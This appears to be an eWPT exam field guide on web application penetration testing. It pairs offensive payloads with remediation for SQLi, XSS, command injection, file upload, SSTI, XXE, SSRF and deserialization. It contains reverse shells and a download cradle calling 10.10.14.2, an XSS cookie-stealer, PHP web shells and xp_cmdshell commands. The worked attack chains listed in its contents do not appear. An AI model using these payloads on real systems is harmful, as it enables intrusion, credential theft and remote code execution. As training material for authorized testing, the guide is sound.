eWPT Exam - Guided By RedBlock
eWPT - Web Application Penetration Tester

eWPT Master Field Guide (Largest Edition) — Web Application Penetration Tester (INE / eLearnSecurity)
The in-depth build for the eWPT exam. Every vulnerability is treated as: how it works (mechanism) → how to find it (step-by-step) → payloads (with context) → how to exploit & escalate to real impact → remediation. Ends with three worked attack chains.
Exam reality: eWPT is a hands-on web engagement graded on a professional report. You pass by demonstrating real impact (turn a bug into data/shell/admin) and documenting it so it's reproducible. Proxy everything through Burp; screenshot every step; write findings as you go. ⚠️ Authorized use only. Every payload/command targets apps you own or are engaged to test. Stay in scope; retain evidence.
Table of Contents
Methodology & the Testing Mindset
HTTP Fundamentals & Headers
curl for Web Pentesting (cookies, headers, auth, data, uploads, proxy)
Information Gathering & Fingerprinting
Burp Suite — Deep Workflow
Authentication Attacks (incl. OAuth / SAML / JWT)
Session Management
Authorization & Access Control (IDOR / BOLA)
SQL Injection (DB-specific, in depth)
Cross-Site Scripting (XSS)
Command Injection
File Inclusion, Path Traversal & Upload → RCE
Server-Side Template Injection (SSTI)
XML External Entity (XXE)
Server-Side Request Forgery (SSRF)
Other Injections (LDAP, XPath, NoSQL, ORM, CRLF, Host-Header)
CSRF
Insecure Deserialization
HTTP Request Smuggling
Client-Side Attacks (CORS, Clickjacking, postMessage, WebSockets)
Business Logic Flaws
Web Services / API Testing (REST, GraphQL, SOAP)
CMS Testing (WordPress, Joomla, Drupal)
Encoding, Filtering & WAF Evasion
Reporting (the deliverable)
Worked Attack Chain #1 — SQLi → admin → upload → RCE
Worked Attack Chain #2 — Blind SSRF → cloud metadata → account takeover
Worked Attack Chain #3 — Stored XSS → admin session → CSRF → RCE
Tooling Quick Reference & Glossary
1. Methodology & the Testing Mindset
Why methodology matters: web apps fail in patterns. A disciplined pass — map everything, then attack each input in each context — finds far more than random poking, and it's what turns a pile of low findings into a high-impact chain (the thing the report is graded on).
Phased flow (OWASP WSTG-aligned):
Recon / mapping — fingerprint the stack; crawl every page, endpoint, parameter, cookie, and hidden field; enumerate roles.
Configuration & deployment — headers, HTTP methods, exposed files (
.git,.env, backups), default creds, error verbosity.Identity / Auth / Session / Authorization — logins, tokens, access control.
Input-based — injection (SQLi/XSS/cmd/SSTI/…), file attacks — test every parameter in every context.
Business logic & client-side — abuse intended flows; CORS/clickjacking/WS.
Exploitation & impact — convert findings into data/shell/admin.
Reporting.
The testing loop for any input: identify the input → determine where it lands (HTML body / attribute / JS / SQL / OS command / template / URL / header) → inject a context-breaking probe → observe response → confirm → weaponize → assess impact.
Documentation discipline: save the Burp request for every finding.
FINDING: SQLi in /product?id=
Param : id (GET) | Type: error-based, MySQL
Payload : id=1' AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -
Impact : full DB read -> admin creds dumped -> admin login
Evidence : screenshots/sqli-*.png ; request.txt
Fix : parameterized queries; least-priv DB user
2. HTTP Fundamentals & Headers
Why it matters: most web attacks are just crafted HTTP requests; understanding the protocol is understanding the attack surface.
Request anatomy: method + path + version, headers, blank line, body. Methods: GET (params in URL), POST (body), PUT/DELETE (REST writes — test if enabled), OPTIONS (allowed methods), HEAD, PATCH, TRACE (cross-site tracing).
curl -X OPTIONS http://site/ -i # Allow: header lists methods
curl -X PUT http://site/x.txt -d 'test' # can you write a file?
curl -X TRACE http://site/ -i # XST if reflected
Status codes & what they hint: 200 OK · 301/302 redirect (open-redirect surface) · 401 (auth required) · 403 (forbidden → try bypass) · 404 · 405 (method) · 500 (stack trace / info leak). 403 bypass playbook: path tricks (/admin/, /./admin, /%2e/admin, /admin..;/, /admin%20, /ADMIN), method swap (GET→POST), and header spoofs:
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-Host: internal
Headers to test: Cookie/Set-Cookie, Authorization (Basic/Bearer/JWT), Referer, Origin (CORS), Host (host-header injection), X-Forwarded-* (ACL/IP bypass, cache), and security headers (CSP, HSTS, X-Frame-Options, X-Content-Type-Options, Referrer-Policy, SameSite) — missing ones are reportable findings. Cookie flags: HttpOnly (JS can't read → limits XSS cookie theft), Secure (HTTPS-only), SameSite=Lax/Strict (CSRF mitigation). Missing = finding.
3. curl for Web Pentesting (cookies, headers, auth, data, uploads, proxy)
Why curl: it's the fastest way to script/replay requests exactly, script enumeration, and reproduce a finding in the report. Master these flags — you'll use them constantly.
3.1 Essential flags
curl -s http://site/ # -s silent (no progress bar)
curl -i http://site/ # -i include response HEADERS in output
curl -I http://site/ # -I HEAD request only (headers, no body)
curl -v http://site/ # -v verbose (see the full request + response, TLS)
curl -sS http://site/ -o out.html # -o save body to file ; -O keep remote filename
curl -k https://site/ # -k ignore TLS cert errors (self-signed labs)
curl -L http://site/ # -L follow redirects (3xx -> final page)
curl --max-time 10 http://site/ # timeout ; -m 10 short form
curl -w "%{http_code} %{size_download} %{time_total}\n" -o /dev/null -s http://site/ # measure (blind timing!)
3.2 Cookies & sessions (the part you asked about)
# send a single cookie
curl -b "PHPSESSID=abc123" http://site/dashboard
# send multiple cookies
curl -b "PHPSESSID=abc123; role=user; lang=en" http://site/
# COOKIE JAR: save Set-Cookie responses to a file, then reuse them (keeps you logged in)
curl -c cookies.txt -d "user=admin&pass=admin" http://site/login # -c writes the jar
curl -b cookies.txt http://site/account # -b reads the jar
curl -c cookies.txt -b cookies.txt http://site/next # read AND update the jar
# grab just the Set-Cookie header (flag check)
curl -sI http://site/ | grep -i set-cookie
# login then immediately use the session in one flow
curl -c jar.txt -s -d "user=admin&pass=P@ss" http://site/login.php >/dev/null
curl -b jar.txt -s http://site/admin/ | grep -i "welcome\|dashboard"
Notes: the cookie jar (-c/-b cookies.txt) is how you stay authenticated across scripted requests — capture the session on login, then attach it to every follow-up. Inspect the jar (cat cookies.txt) to read/modify the session values (useful for testing tampering, role=admin, etc.).
3.3 Custom headers, auth & user-agent
curl -H "User-Agent: Mozilla/5.0" http://site/
curl -H "X-Forwarded-For: 127.0.0.1" http://site/admin # ACL/IP-spoof bypass
curl -H "Referer: http://site/login" http://site/step2 # referer checks
curl -H "Origin: http://evil.com" -I http://site/api/data # CORS test
curl -H "Host: evil.com" http://site/reset # host-header injection
# HTTP Basic auth
curl -u admin:password http://site/protected
curl -H "Authorization: Basic $(echo -n admin:password | base64)" http://site/
# Bearer / JWT
curl -H "Authorization: Bearer eyJhbGc..." http://site/api/me
# multiple headers at once
curl -H "Authorization: Bearer TOKEN" -H "Content-Type: application/json" http://site/api
3.4 Sending data (GET / POST / JSON / methods)
# GET with params (URL-encode special chars)
curl -G "http://site/search" --data-urlencode "q=' OR '1'='1"
# form POST (application/x-www-form-urlencoded)
curl -d "user=admin&pass=admin" http://site/login
curl -d "id=1' UNION SELECT 1,2,3-- -" http://site/product # inject in POST body
# JSON body
curl -X POST http://site/api/users -H "Content-Type: application/json" -d '{"role":"admin"}'
# choose the method
curl -X PUT http://site/api/users/1 -d '{"role":"admin"}' -H "Content-Type: application/json"
curl -X DELETE http://site/api/users/2
curl -X OPTIONS -i http://site/ # see Allow: methods
# send a raw request from a saved file (great for replaying exact Burp requests)
curl --data-binary @body.json -H "Content-Type: application/json" http://site/api
3.5 File upload (multipart) — for upload → shell testing
# upload a file the way a browser form would
curl -F "[email protected];type=image/jpeg" -b jar.txt http://site/upload
curl -F "[email protected]" -F "submit=Upload" -b jar.txt http://site/upload
# then trigger the shell
curl "http://site/uploads/shell.php?c=id"
3.6 Proxying through Burp & saving requests
curl -x http://127.0.0.1:8080 -k http://site/ # route curl THROUGH Burp (see/modify it)
curl -s http://site/ -D headers.txt -o body.html # -D dump response headers to a file
curl --trace-ascii trace.txt http://site/ # full request/response trace for evidence
3.7 Handy pentest one-liners
# quick vhost/host-header fuzz
for h in admin internal dev; do curl -s -H "Host: $h.site" http://IP/ -o /dev/null -w "$h -> %{http_code}\n"; done
# simple param brute (blind, by response size)
for p in id user file page cmd; do curl -s "http://site/?$p=test" -o /dev/null -w "$p %{size_download}\n"; done
# time-based blind detection loop (SQLi/cmd)
curl -s -G "http://site/product" --data-urlencode "id=1' AND SLEEP(5)-- -" -w "%{time_total}\n" -o /dev/null
# download & reconstruct exposed git
git-dumper http://site/.git/ ./src
Notes: everything Burp Repeater does, curl can script — combine -b/-c (cookies), -H (headers), -d/-F (data), -x (proxy), and -w (measure) to reproduce and automate any finding.
4. Information Gathering & Fingerprinting
Goal: know the stack and enumerate the entire surface before attacking. Missed endpoints = missed findings.
Fingerprint the stack:
whatweb http://site # CMS/framework/server
wafw00f http://site # is there a WAF, which one?
curl -sI http://site # Server, X-Powered-By, Set-Cookie (PHPSESSID/JSESSIONID/...)
nmap -sV -p80,443,8080,8443 site
Cookie names leak the platform: PHPSESSID→PHP, JSESSIONID→Java, ASP.NET_SessionId→.NET, connect.sid→Node/Express.
Subdomain enumeration:
subfinder -d target.com -all
amass enum -passive -d target.com
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
Content discovery (directories/files):
gobuster dir -u http://site -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,zip,old,~
ffuf -u http://site/FUZZ -w raft-medium-directories.txt -mc 200,301,302,403 -recursion -recursion-depth 2
feroxbuster -u http://site -x php,html,txt -d 3
gobuster vhost -u http://site -w subdomains.txt # virtual hosts on same IP
Parameter discovery (finds hidden test surface):
ffuf -u "http://site/page?FUZZ=test" -w burp-parameter-names.txt -mc 200 -fs <baseline>
# Burp "Param Miner" also brute-forces hidden params AND headers
Always check these: robots.txt, sitemap.xml, /.git/ (leaks source), .env, .DS_Store, web.config, backups (.bak/.old/~/.zip), admin panels, /api/, Swagger (/swagger.json,/api-docs), phpinfo.php.
git-dumper http://site/.git/ ./src # reconstruct source -> read logic, find secrets
curl -s http://site/.env
Map in Burp: proxy the whole app while browsing; review the site map; note every endpoint, parameter, and which role can reach it.
5. Burp Suite — Deep Workflow
Why Burp: it's the man-in-the-middle for HTTP; every manual test flows through it.
Proxy — intercept & modify (browser proxy →
127.0.0.1:8080; install Burp CA for HTTPS).Target / Site map — the app map; set scope so you only touch the target.
Repeater — send one request, tweak, resend — the core of manual testing (confirm each vuln here).
Intruder — automated payload injection:
Sniper (one param, one list), Battering ram (same payload in all positions), Pitchfork (parallel lists), Cluster bomb (all combinations — user×pass brute).
Sequencer — statistical randomness of session tokens.
Decoder / Comparer — encode/decode chains; diff two responses byte-for-byte.
Collaborator — out-of-band (OOB) interaction server for blind SSRF/XXE/RCE.
Extensions (BApp): Autorize (auto access-control testing), Param Miner, Turbo Intruder (race conditions / high-speed), JSON Web Tokens, HTTP Request Smuggler, Active Scan++, Logger++.
Canonical loop: intercept a request → Repeater → mutate one variable → read the response diff → confirm the vuln → Intruder to enumerate/exploit at scale → save request + screenshot for the report.
6. Authentication Attacks (incl. OAuth / SAML / JWT)
Mechanism: auth proves identity; flaws let you become someone else. Test login, registration, reset, "remember me", MFA, and SSO.
Credential attacks:
hydra -L users.txt -P rockyou.txt site http-post-form "/login:user=^USER^&pass=^PASS^:Invalid credentials"
ffuf -u http://site/login -X POST -d "user=admin&pass=FUZZ" \
-w rockyou.txt -H "Content-Type: application/x-www-form-urlencoded" -fr "Invalid"
Username enumeration (step-by-step): submit a known-good and a known-bad username → compare the error text, HTTP code, response length, and timing. Any difference = enumeration → build a valid-user list → then spray.
Logic/response bypasses: SQL-style (admin'-- -, ' OR '1'='1), response tampering (intercept the auth response, flip "authenticated":false→true or a 302→200), forced-browse past login to an authenticated page, and default creds.
Password-reset abuse (common exam finding):
Predictable/sequential token → guess it.
Host-header poisoning:
POST /resetwithHost: evil.com→ the reset email link points toevil.com?token=…→ victim's click leaks the token to you.User-controlled email/username param in the reset request → reset another user.
Token not invalidated after use / no expiry.
JWT attacks (step-by-step):
echo <jwt> | cut -d. -f2 | base64 -d # 1) read claims (look for role/user)
jwt_tool <jwt> -X a # 2) alg:none — strip signature, forge claims
jwt_tool <jwt> -X k -pk public.pem # 3) RS256->HS256 key confusion (sign with public key as HMAC secret)
jwt_tool <jwt> -C -d rockyou.txt # 4) crack a weak HMAC secret
hashcat -m 16500 jwt.txt rockyou.txt # (alt cracker)
Then edit a claim ("role":"admin"), re-sign with the broken method, replay.
OAuth/SAML flaws: open/loose redirect_uri (steal the code/token by redirecting to attacker), missing state (login CSRF), token leakage via Referer; SAML signature stripping and XSW (XML Signature Wrapping), assertion replay.
Remediation: lockout + strong policy, generic errors, CSPRNG reset tokens bound to user + short TTL + single-use, MFA, verify JWT alg/signature server-side with a strong secret, strict redirect_uri allow-list + state, verify SAML signatures over the whole assertion.
7. Session Management
Mechanism: after login the app tracks you by a session identifier (cookie/token). Break the identifier → impersonate.
Tests + how:
Cookie flags —
curl -sI | grep -i set-cookie→ requireHttpOnly; Secure; SameSite.Token entropy — collect many tokens (Burp Sequencer); low randomness → predictable → hijack.
Session fixation — does the app keep the same SID before and after login? If yes: plant a SID in the victim's browser, they log in, you reuse it. Fix: rotate SID on authentication.
Logout/timeout — after logout, replay an old request with the old token; if it still works, invalidation is broken. Also test idle + absolute timeouts.
Token in URL — session IDs in query strings leak via
Referer/logs/history.Concurrent sessions / privilege change — token should rotate when privileges change.
8. Authorization & Access Control (IDOR / BOLA)
Mechanism: authentication says who you are; authorization says what you may touch. Broken access control lets you reach others' data (horizontal) or higher-privilege functions (vertical).
Step-by-step:
Log in as low-priv user A; capture every request that references an object (
id,uuid,account,order, filename).Replay each with B's identifier (or increment/guess it) → do you get B's data? → IDOR/BOLA.
As A, hit admin-only endpoints directly (
/admin/*,/api/admin/*) → forced browsing / vertical escalation.Test mass assignment / hidden params: add
role=admin,isAdmin=true,verified=1to profile/update requests.
GET /account?id=1001 -> id=1002
GET /api/orders/5001 -> /api/orders/5002
POST /admin/deleteUser (as normal user)
PUT /api/users/1 {"role":"user"} -> {"role":"admin"}
Automate: Burp Autorize replays A's traffic with B's/no cookies and flags anything that still succeeds. Remediation: enforce object-level authorization server-side on every request; never trust client-supplied IDs/roles; deny-by-default; use unpredictable identifiers (defense-in-depth, not the fix).
9. SQL Injection (DB-specific, in depth)
Mechanism: user input is concatenated into a SQL query, so your input becomes code. Detection = make the query error or behave differently; exploitation = read/modify data or, with the right privileges, reach the OS.
Detection (step-by-step):
Inject
'")→ SQL error or 500 = candidate.Boolean-blind:
id=1' AND '1'='1(page normal) vsid=1' AND '1'='2(page differs) → confirmed.Time-blind:
id=1' AND SLEEP(5)-- -→ delayed response → confirmed even with no visible output.UNION: find the column count with
ORDER BY n(increment until error), thenUNION SELECTmatching columns; find which columns reflect.
MySQL:
id=1 ORDER BY 5-- -
id=-1 UNION SELECT 1,version(),database(),user(),5-- -
id=-1 UNION SELECT 1,group_concat(schema_name),3,4,5 FROM information_schema.schemata-- -
id=-1 UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -
id=-1 UNION SELECT 1,group_concat(column_name),3,4,5 FROM information_schema.columns WHERE table_name='users'-- -
id=-1 UNION SELECT 1,group_concat(username,0x3a,password),3,4,5 FROM users-- -
-- FILE privilege -> read/write files:
id=-1 UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5-- -
id=-1 UNION SELECT 1,'<?php system($_GET[0]);?>',3,4,5 INTO OUTFILE '/var/www/html/s.php'-- -
MSSQL:
id=1' UNION SELECT 1,@@version,DB_NAME(),4,5-- -
id=1'; WAITFOR DELAY '0:0:5'-- - -- time-blind
-- enable + use xp_cmdshell for RCE (sysadmin):
id=1'; EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;-- -
id=1'; EXEC xp_cmdshell 'whoami'-- -
PostgreSQL:
id=1' AND 1=(SELECT 1 FROM pg_sleep(5))-- -
id=-1 UNION SELECT 1,version(),current_database(),4,5-- -
-- RCE via COPY TO/FROM PROGRAM (superuser):
id=1'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"'-- -
Oracle: append FROM dual; UNION SELECT banner,2 FROM v$version-- -; time via dbms_pipe.receive_message(('a'),5). sqlmap (confirm + automate + evade):
sqlmap -u "http://site/product?id=1" --batch --dbs
sqlmap -r request.txt --batch --level 5 --risk 3 --dbms mysql
sqlmap -u "..." -D appdb -T users -C username,password --dump
sqlmap -u "..." --os-shell # stacked/FILE -> shell
sqlmap -u "..." --tamper=space2comment,between,charencode # WAF evasion
Escalation to impact: dump creds → crack (hashcat) → admin login; INTO OUTFILE/LOAD_FILE → web shell; xp_cmdshell/COPY … PROGRAM → RCE. Remediation: parameterized queries / prepared statements (the real fix), least-privilege DB account, disable dangerous features (xp_cmdshell, FILE), suppress error output; a WAF is defense-in-depth only.
10. Cross-Site Scripting (XSS)
Mechanism: the app reflects/stores your input into a page without proper encoding, so the browser executes it as script in the victim's session.
Types & where they land:
Reflected — payload in the request appears in the immediate response (search, error).
Stored — payload is saved (comment, profile) and runs for every viewer (highest impact — can hit admins).
DOM — client-side JS writes input into a dangerous sink (
innerHTML,document.write,eval,location,setTimeout(str)).
Detection (context-aware): inject a unique marker (zzq1) → find where it lands → break that context:
<script>alert(document.domain)</script> <!-- HTML body -->
"><img src=x onerror=alert(1)> <!-- attribute breakout -->
'-alert(1)-' <!-- inside a JS string -->
javascript:alert(1) <!-- href/src sink -->
{{constructor.constructor('alert(1)')()}} <!-- AngularJS -->
Polyglot (fires across many contexts):
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
Filter / CSP bypass: case (<ScRiPt>), event handlers without <script> (onerror/onload/onmouseover), HTML/URL/unicode encoding, <svg>/<math>, String.fromCharCode, eval(atob('...')); for CSP, hunt unsafe-inline, JSONP endpoints, or an allow-listed CDN you can host on. Exploitation — demonstrate impact (not just alert):
<script>new Image().src='http://10.10.14.2/c?'+document.cookie</script> <!-- steal session if not HttpOnly -->
<script>fetch('/admin/addAdmin?u=attacker',{credentials:'include'})</script> <!-- force a privileged action -->
<script>fetch('/api/csrf').then(r=>r.text()).then(t=>fetch('/admin/op',{method:'POST',body:t,credentials:'include'}))</script> <!-- read CSRF token then act -->
Remediation: context-aware output encoding, strict CSP (no unsafe-inline), HttpOnly cookies, sanitize on input and output, avoid dangerous DOM sinks.
11. Command Injection
Mechanism: input reaches an OS shell (ping tools, converters, admin functions). Shell metacharacters let you append your own command.
; id | id & id `id` $(id) %0a id %26%26 id
127.0.0.1; id 127.0.0.1 && whoami 127.0.0.1|whoami
Blind (no output) → prove it: time (; sleep 5), or OOB (; curl http://<collab>/$(whoami) → check Collaborator/your server). Escalate to shell:
; bash -c 'bash -i >& /dev/tcp/10.10.14.2/443 0>&1'
& powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.2/s.ps1')"
Tool: commix -u "http://site/ping?ip=127.0.0.1". Remediation: don't invoke a shell; use parameterized APIs + strict allow-lists; never concatenate user input into commands.
12. File Inclusion, Path Traversal & Upload → RCE
Mechanism: the app builds a filesystem path or include() target from user input, or accepts uploaded files it later serves/executes.
LFI / traversal (step-by-step): confirm with /etc/passwd, then pivot to reading source and to RCE.
?file=../../../../etc/passwd
?file=....//....//....//etc/passwd # bypass naive ../ strip
?file=..%2f..%2f..%2fetc%2fpasswd # URL-encoded
?file=/etc/passwd%00 # null byte (old PHP)
?file=php://filter/convert.base64-encode/resource=index.php # read source code
?file=php://filter/read=string.rot13/resource=config.php
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWzBdKTs/Pg== # data:// -> RCE
?page=expect://id # expect wrapper -> RCE
LFI → RCE techniques: log poisoning (put <?php system($_GET['c']);?> in User-Agent, then include /var/log/apache2/access.log), /proc/self/environ, PHP session files (/var/lib/php/sessions/sess_<id>), or PHP filter chains to synthesize code. RFI: ?file=http://10.10.14.2/shell.txt (needs allow_url_include=On). Upload → web shell (bypass ladder):
shell.php -> shell.phtml / .php5 / .phar # blocked-extension bypass
shell.php.jpg / shell.php%00.jpg # double-extension / null
GIF89a;<?php system($_GET['c']);?> # magic-byte prefix (passes image check)
Content-Type: image/jpeg (change in Burp) # MIME check bypass
upload .htaccess: "AddType application/x-httpd-php .jpg" # make .jpg execute
Browse the uploaded shell → command exec → reverse shell. Remediation: validate by file content, store outside web root, random names, disable execution in the upload dir, disable dangerous wrappers, canonicalize/deny traversal.
13. Server-Side Template Injection (SSTI)
Mechanism: user input is embedded into a server-side template and evaluated, so template expressions become code — often a direct path to RCE.
Detect: inject math in template syntax; a computed result confirms it.
${7*7} {{7*7}} <%= 7*7 %> #{7*7} -> 49 = SSTI
${{<%[%'"}}%\ # polyglot to force an engine-revealing error
Engine-specific RCE:
# Jinja2 (Flask/Python)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}
# Twig (PHP)
{{ ['id']|filter('system') }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("id") }}
# Freemarker (Java)
<#assign x="freemarker.template.utility.Execute"?new()>${ x("id") }
# Velocity (Java) #set(...) Runtime.exec
# ERB (Ruby): <%= `id` %> # Smarty (PHP): {system('id')}
Tool: tplmap -u "http://site/?name=x". Remediation: never render user input as a template; use a sandboxed/logic-less engine; pass data as variables, not template source.
14. XML External Entity (XXE)
Mechanism: an XML parser with external entities enabled resolves attacker-defined entities → read files, reach internal services, or exfiltrate blindly.
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root><d>&xxe;</d></root>
<!-- SSRF via XXE -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
<!-- read PHP source (base64 avoids breaking the XML) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!-- blind / OOB via external DTD (exfil to your server) -->
<!DOCTYPE r [<!ENTITY % ext SYSTEM "http://10.10.14.2/e.dtd"> %ext;]>
Where: XML request bodies, SOAP, and uploads parsed as XML (SVG, DOCX/XLSX, XML). Impact: file read, SSRF→metadata, OOB exfil, occasionally RCE (expect://). Remediation: disable DTDs / external-entity resolution in the parser (libxml_disable_entity_loader, safe defaults).
15. Server-Side Request Forgery (SSRF)
Mechanism: the server fetches a URL you control, so you make it request things it can reach but you can't (internal services, cloud metadata).
url=http://127.0.0.1:8080/admin # internal-only app
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ # AWS temp creds
url=http://metadata.google.internal/computeMetadata/v1/ (Metadata-Flavor: Google) # GCP
url=file:///etc/passwd # file scheme
url=gopher://127.0.0.1:6379/_<redis-commands> # protocol smuggling
Filter bypasses: http://127.1, http://0177.0.0.1, http://2130706433, http://[::1], http://localhost.attacker.com (DNS rebinding), http://[email protected], open-redirect chaining. Blind SSRF: point at Burp Collaborator; a callback confirms it even with no visible response — then infer internal reachability from timing/size differences. Impact: internal access, cloud metadata → credentials → account/cloud takeover, port scanning, protocol smuggling (gopher→Redis/SMTP). Remediation: allow-list destinations, block link-local/internal ranges, resolve+validate the host, don't echo the fetched body, enforce IMDSv2.
16. Other Injections (LDAP, XPath, NoSQL, ORM, CRLF, Host-Header)
# LDAP (login bypass — closes the filter and always-true)
user=*)(uid=*))(|(uid=* pass=x
# XPath
' or '1'='1 ' or 1=1 or ''='
# NoSQL (MongoDB) — operator injection
username[$ne]=&password[$ne]= {"user":{"$ne":null},"pass":{"$ne":null}}
username=admin&password[$regex]=^a # blind, char-by-char
# CRLF injection (response splitting / header injection)
?next=%0d%0aSet-Cookie:%20role=admin
# Host-header injection (cache poisoning / reset-link poisoning)
Host: evil.com X-Forwarded-Host: evil.com
Remediation: parameterize/escape per backend; validate types (reject objects where a string is expected — kills NoSQL operator injection); strip CR/LF; validate Host against an allow-list.
17. CSRF
Mechanism: the browser auto-sends the victim's cookies, so a state-changing request that relies only on the cookie can be forged from an attacker page. Test: is there an unpredictable anti-CSRF token? Is SameSite set? Drop/blank the token — does the request still succeed?
<form action="http://site/account/email" method="POST">
<input name="email" value="[email protected]"></form>
<script>document.forms[0].submit()</script>
<!-- GET-based: <img src="http://site/transfer?to=att&amt=1000"> -->
Bypass weak defenses: token not tied to the session, validation only when the token is present (omit it), predictable token, SameSite gaps on top-level POST. Remediation: per-request CSRF tokens tied to the session, SameSite=Lax/Strict, re-auth for sensitive actions, check Origin/Referer.
18. Insecure Deserialization
Mechanism: the app deserializes attacker-controlled objects; with the right "gadget" classes present, that turns into code execution. Detect: serialized blobs in cookies/params — PHP (O:8:"User":...), Java (base64 rO0AB… / raw \xac\xed), .NET (AAEAAAD…), Python pickle, Node.
phpggc Monolog/RCE1 system id -b # PHP gadget chain (base64)
java -jar ysoserial.jar CommonsCollections5 'bash -c "bash -i >& /dev/tcp/10.10.14.2/443 0>&1"' | base64 -w0
Replace the blob with the gadget, send, catch the shell. Remediation: never deserialize untrusted data; use JSON with strict schemas; sign/allow-list serialized data; patch gadget libraries.
19. HTTP Request Smuggling
Mechanism: a front-end proxy and back-end server disagree on where one request ends (conflicting Content-Length vs Transfer-Encoding), so part of your request is treated as the start of the next user's request. Classes: CL.TE (front-end uses CL, back-end uses TE), TE.CL, TE.TE (one server can be induced to ignore TE). Test: Burp HTTP Request Smuggler extension; craft a request with both headers and observe a timing delay or a poisoned follow-up response. Impact: bypass front-end access controls, capture other users' requests (creds/tokens), web-cache poisoning, response queue poisoning. Remediation: make front/back-end agree (prefer HTTP/2 end-to-end), reject requests with both CL and TE, normalize/close ambiguous requests.
20. Client-Side Attacks (CORS, Clickjacking, postMessage, WebSockets)
CORS misconfiguration: server reflects an arbitrary Origin and allows credentials.
curl -s -I http://site/api/data -H "Origin: http://evil.com" | grep -i access-control
# vulnerable if: Access-Control-Allow-Origin: http://evil.com AND Access-Control-Allow-Credentials: true
Exploit: attacker page does fetch('http://site/api/data',{credentials:'include'}) and reads the victim's data cross-origin. Clickjacking: missing X-Frame-Options/CSP frame-ancestors → frame the target, overlay a decoy, trick clicks into privileged actions. A framing PoC confirms it. postMessage: a message event listener that doesn't validate event.origin → an attacker frame sends a crafted postMessage to trigger sensitive client logic. WebSockets: test auth on the WS handshake; CSWSH (cross-site WebSocket hijacking) if the handshake lacks an anti-CSRF token / origin check; inject/manipulate WS messages. Remediation: strict CORS allow-list (never reflect origin with credentials), X-Frame-Options: DENY / CSP frame-ancestors 'none', validate event.origin and target origin in postMessage, authenticate WS + verify Origin.
21. Business Logic Flaws
Mechanism: no injection — you abuse intended features in unintended sequences/values. These need understanding of the app, not a payload list.
Price / quantity tampering: negative quantity → negative total/refund; edit
pricein the request; currency confusion.Coupon / refund abuse: reuse one-time codes, stack discounts, refund more than paid.
Race conditions: fire parallel requests to double-spend a balance or single-use coupon (Burp Turbo Intruder single-packet attack).
Workflow bypass: jump straight to
/checkout/confirmskipping payment; replay a completed step; reorder multi-step flows.Parameter tampering: flip hidden fields (
isAdmin,verified,userId,status). Method: map the intended flow, list its assumptions, then violate each. Remediation: enforce state, authorization, and limits server-side; idempotency + locking for money; re-validate every step.
22. Web Services / API Testing (REST, GraphQL, SOAP)
REST (OWASP API Top 10): BOLA/IDOR (top issue), broken auth, mass assignment, excessive data exposure, no rate limiting, improper method (GET→PUT/DELETE).
curl -s http://site/swagger.json; curl -s http://site/api-docs # discover the surface
curl -X GET http://site/api/users/1002 -H "Authorization: Bearer <A-token>" # BOLA
curl -X PUT http://site/api/users/1 -H "Content-Type: application/json" -d '{"role":"admin"}' # mass assignment
GraphQL:
curl -s http://site/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{types{name fields{name}}}}"}' # introspection dumps schema
# then abuse: node(id:) IDOR, query batching, deeply-nested query DoS, field suggestions
SOAP: fetch the WSDL (?wsdl), enumerate operations, test each for auth + XXE in the XML body. Remediation: per-object authorization, disable introspection in prod, rate-limit, explicit field allow-lists, validate methods.
23. CMS Testing (WordPress, Joomla, Drupal)
wpscan --url http://site --enumerate u,p,t,vp --api-token <token> # users, plugins, themes, vulns
wpscan --url http://site -U admin -P rockyou.txt # brute wp-login / xmlrpc
joomscan -u http://site
droopescan scan drupal -u http://site # then check Drupalgeddon CVEs
Wins: outdated core/plugin/theme with a public exploit, weak admin creds, exposed wp-config.php/backup, xmlrpc.php (brute amplification / SSRF via pingback). Turn admin → RCE via the theme/plugin editor or a malicious plugin upload. Remediation: patch core+plugins+themes, strong admin creds + MFA, disable xmlrpc.php/file editor, restrict /wp-admin.
24. Encoding, Filtering & WAF Evasion
Encodings: URL, double-URL (
%2527), HTML entity, unicode, base64, hex — defeats naive input filters.SQLi bypass:
/**/comments, mixed case (SeLeCt), inline comments (UNI/**/ON),0xHEXliterals,%09/%0awhitespace, sqlmap--tamper.XSS bypass: event handlers,
<svg>, no-quote payloads,String.fromCharCode,eval(atob()), CSP gaps (JSONP / allow-listed CDN).General WAF: vary case/encoding, HTTP parameter pollution (
id=1&id=2'), chunked/whitespace tricks, null bytes, uncommon-but-valid syntax. Runwafw00ffirst to know the WAF. Key idea: a blocked payload ≠ no vuln — re-encode/obfuscate; the flaw usually persists behind the filter.
25. Reporting (the deliverable)
1. Executive Summary — business risk & posture in plain language (for management)
2. Scope & Methodology — targets, timeframe, OWASP-aligned approach
3. Findings — per finding: Title, Severity (CVSS), URL/Endpoint/Param,
Description, Impact, PoC (request + payload + screenshot),
Steps to Reproduce, Remediation
4. Attack Narrative — how findings CHAINED into real impact (data/shell/admin)
5. Remediation Summary — prioritized fix list
